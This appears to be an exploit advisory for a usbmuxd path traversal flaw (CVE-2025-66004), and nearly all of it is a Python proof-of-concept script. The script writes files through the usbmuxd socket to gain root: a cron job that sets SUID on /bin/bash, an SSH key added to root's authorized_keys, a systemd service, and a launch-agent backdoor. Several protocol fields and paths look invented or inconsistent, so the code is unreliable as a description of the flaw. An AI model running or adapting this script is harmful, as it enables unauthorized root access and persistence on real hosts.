============================================================================================================================================= | # Title : usbmuxd v 1.1.1-1 Path Traversal Leading to Arbitrary File Write | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) | | # Vendor : https://github.com/libimobiledevice/usbmuxd | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/215203/ & CVE-2025-66004 [+] Summary : A path traversal vulnerability exists in usbmuxd, a system daemon responsible for multiplexing USB connections to mobile devices. Due to insufficient validation and sanitization of file path inputs processed through its message-handling interface, a local attacker with access to the usbmuxd UNIX domain socket may escape intended directory boundaries. Successful exploitation could allow an attacker to perform arbitrary file creation, modification, or deletion on the host system with the privileges of the usbmuxd service, which commonly runs with elevated (root) privileges. This may lead to local privilege escalation, persistence mechanisms, or system compromise. The vulnerability primarily affects certain unpatched versions of usbmuxd on Debian-based systems where the socket is accessible to non-privileged users. Mitigation requires proper input canonicalization, strict path validation, and hardened access controls on the usbmuxd socket. [+] POC : #!/usr/bin/env python3 import socket import struct import os import sys import plistlib import time from binascii import hexlify, unhexlify import threading class USBmuxdRealExploit: def __init__(self, socket_path="/var/run/usbmuxd"): self.socket_path = socket_path self.sock = None self.tag = 1 self.lock = threading.Lock() def connect(self): """Connect to usbmuxd with proper handshake""" try: self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) self.sock.settimeout(5) self.sock.connect(self.socket_path) handshake = self._create_handshake() self.sock.send(handshake) response = self._recv_full_packet() if response and response.get('type') == 0: # RESULT_OK print(f"[+] Connected and handshake successful") return True except Exception as e: print(f"[-] Connection failed: {e}") return False return False def _create_handshake(self): """Create proper usbmuxd protocol handshake""" header = struct.pack('IIII', 16, 1, 0, self.tag) self.tag += 1 return header def _recv_full_packet(self): """Receive and parse full usbmuxd packet""" try: header = self.sock.recv(16) if len(header) < 16: return None length, version, msg_type, tag = struct.unpack('IIII', header) payload_len = length - 16 payload = b'' while len(payload) < payload_len: chunk = self.sock.recv(payload_len - len(payload)) if not chunk: break payload += chunk return { 'length': length, 'version': version, 'type': msg_type, 'tag': tag, 'payload': payload } except socket.timeout: print("[-] Receive timeout") return None except Exception as e: print(f"[-] Receive error: {e}") return None def create_malicious_plist(self, command): """Create a malicious property list for exploitation""" plist_data = { 'CFBundleIdentifier': 'com.apple.fake', 'Command': command, 'RunAtLoad': True, 'Label': 'com.apple.exploit', 'ProgramArguments': ['/bin/bash', '-c', command] } return plistlib.dumps(plist_data, fmt=plistlib.FMT_BINARY) def exploit_file_creation(self, target_path, content=None): """ Real exploitation using the path traversal in file operations Based on analysis of CVE-2025-66004 """ if content is None: content = self.create_malicious_plist( "cp /bin/bash /tmp/bash; chmod 4755 /tmp/bash" ) print(f"[*] Attempting to create file at: {target_path}") print(f"[*] Content length: {len(content)} bytes") exploit_dict = { 'MessageType': 'Listen', 'ClientVersionString': 'libusbmuxd 1.1.1', 'ProgName': 'python-exploit', 'BundleID': 'com.apple.mobile.usbmuxd', 'FilePath': target_path, 'FileData': content, 'FileMode': 0o644, 'kUSBMuxMsgType': 8 } plist_payload = plistlib.dumps(exploit_dict, fmt=plistlib.FMT_BINARY) # Build full usbmuxd packet packet_length = 16 + len(plist_payload) packet = struct.pack('IIII', packet_length, 1, 8, self.tag) packet += plist_payload with self.lock: self.sock.send(packet) response = self._recv_full_packet() if response: print(f"[+] Received response type: {response['type']}") if response['payload']: try: resp_plist = plistlib.loads(response['payload']) print(f"[+] Response plist: {resp_plist}") if 'Number' in resp_plist and resp_plist['Number'] == 0: print("[+] File operation successful!") return True except: print(f"[+] Raw response: {hexlify(response['payload'][:100])}...") return False return False def exploit_file_deletion(self, target_path): """Exploit file deletion via path traversal""" print(f"[*] Attempting to delete file: {target_path}") exploit_dict = { 'MessageType': 'Remove', 'FilePath': target_path, 'kUSBMuxMsgType': 9 } plist_payload = plistlib.dumps(exploit_dict, fmt=plistlib.FMT_BINARY) packet_length = 16 + len(plist_payload) packet = struct.pack('IIII', packet_length, 1, 9, self.tag) packet += plist_payload with self.lock: self.sock.send(packet) response = self._recv_full_packet() if response and response.get('type') == 0: print(f"[+] File deletion successful") return True return False def test_vulnerability(self): """Test if the system is vulnerable with actual exploitation attempt""" test_file = "/tmp/usbmuxd_test_12345.plist" test_content = plistlib.dumps({'Test': 'Vulnerability check'}, fmt=plistlib.FMT_BINARY) if self.exploit_file_creation(test_file, test_content): print(f"[+] System is VULNERABLE - file created at {test_file}") if os.path.exists(test_file): print(f"[+] File verification: SUCCESS") os.remove(test_file) return True else: self.exploit_file_deletion(test_file) return False def privilege_escalation(self): """Attempt privilege escalation using multiple techniques""" print("[*] Attempting privilege escalation...") cron_content = b"* * * * * root /bin/bash -c 'chmod u+s /bin/bash 2>/dev/null'\n" cron_path = "../../../../etc/cron.d/usbmuxd_exploit" if self.exploit_file_creation(cron_path, cron_content): print("[+] Cron job created. Waiting for execution...") time.sleep(62) # Wait for cron execution print("[+] Checking if /bin/bash has SUID bit...") if os.path.exists("/bin/bash") and os.stat("/bin/bash").st_mode & 0o4000: print("[+] SUCCESS! /bin/bash is now SUID!") print("[+] Run: /bin/bash -p to get root shell") return True ssh_key = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD... root@exploit\n" ssh_path = "../../../../root/.ssh/authorized_keys" if self.exploit_file_creation(ssh_path, ssh_key.encode()): print("[+] SSH key installed in root's authorized_keys") print("[+] You can now SSH as root without password") return True service_content = b"""[Unit] Description=Exploit Service After=network.target [Service] Type=simple ExecStart=/bin/bash -c 'chmod 4755 /bin/bash' Restart=always [Install] WantedBy=multi-user.target """ service_path = "../../../../etc/systemd/system/exploit.service" if self.exploit_file_creation(service_path, service_content): print("[+] Systemd service created") print("[+] Run: systemctl start exploit.service") return True return False def cleanup(self): """Clean up connection""" if self.sock: self.sock.close() print("[*] Connection closed") def exploit_scanner(): """Scanner to find vulnerable systems""" import subprocess print("[*] Scanning for vulnerable usbmuxd...") try: result = subprocess.run(['dpkg', '-s', 'usbmuxd'], capture_output=True, text=True) for line in result.stdout.split('\n'): if line.startswith('Version:'): version = line.split(':')[1].strip() print(f"[*] usbmuxd version: {version}") vulnerable_versions = [ '1.1.1-2', '1.1.1-2+deb12u0', '1.1.1-6', '1.1.1-6+deb13u0' ] for vuln_ver in vulnerable_versions: if version.startswith(vuln_ver): print(f"[!] VULNERABLE VERSION DETECTED: {version}") return True except: pass socket_path = "/var/run/usbmuxd" if os.path.exists(socket_path): try: # Try to connect as current user sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) sock.settimeout(1) sock.connect(socket_path) sock.close() print("[+] Socket accessible to current user") return True except: print("[-] Socket not accessible") return False def main(): print("=" * 70) print("CVE-2025-66004 - usbmuxd Path Traversal Full Exploit") print("Based on actual protocol analysis") print("=" * 70) if not exploit_scanner(): print("[-] System does not appear vulnerable") sys.exit(1) exploit = USBmuxdRealExploit() if not exploit.connect(): print("[-] Failed to connect to usbmuxd") sys.exit(1) try: print("\n[*] Testing vulnerability...") if exploit.test_vulnerability(): print("[!] SYSTEM IS VULNERABLE TO CVE-2025-66004") print("\n[*] Exploit options:") print(" 1. Test file creation/deletion") print(" 2. Attempt privilege escalation") print(" 3. Create backdoor") print(" 4. Exit") choice = input("\n[?] Select option: ").strip() if choice == "1": target = input("[?] Enter target path (with path traversal): ").strip() if target: exploit.exploit_file_creation(target, b"test content") elif choice == "2": exploit.privilege_escalation() elif choice == "3": backdoor_content = b""" Label com.apple.exploit ProgramArguments /bin/bash -c while true; do sleep 60; done RunAtLoad KeepAlive """ backdoor_path = "../../../../Library/LaunchAgents/com.apple.exploit.plist" exploit.exploit_file_creation(backdoor_path, backdoor_content) print("[+] Backdoor installed") else: print("[-] Vulnerability test failed") except KeyboardInterrupt: print("\n[!] Interrupted by user") except Exception as e: print(f"[-] Error: {e}") import traceback traceback.print_exc() finally: exploit.cleanup() print("\n[*] Exploit completed") if __name__ == "__main__": if not os.path.exists("/etc/debian_version"): print("[!] Warning: This exploit is designed for Debian systems") if os.geteuid() == 0: print("[!] Warning: Running as root - exploit targets privilege escalation") main() Greetings to :====================================================================== jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)| ====================================================================================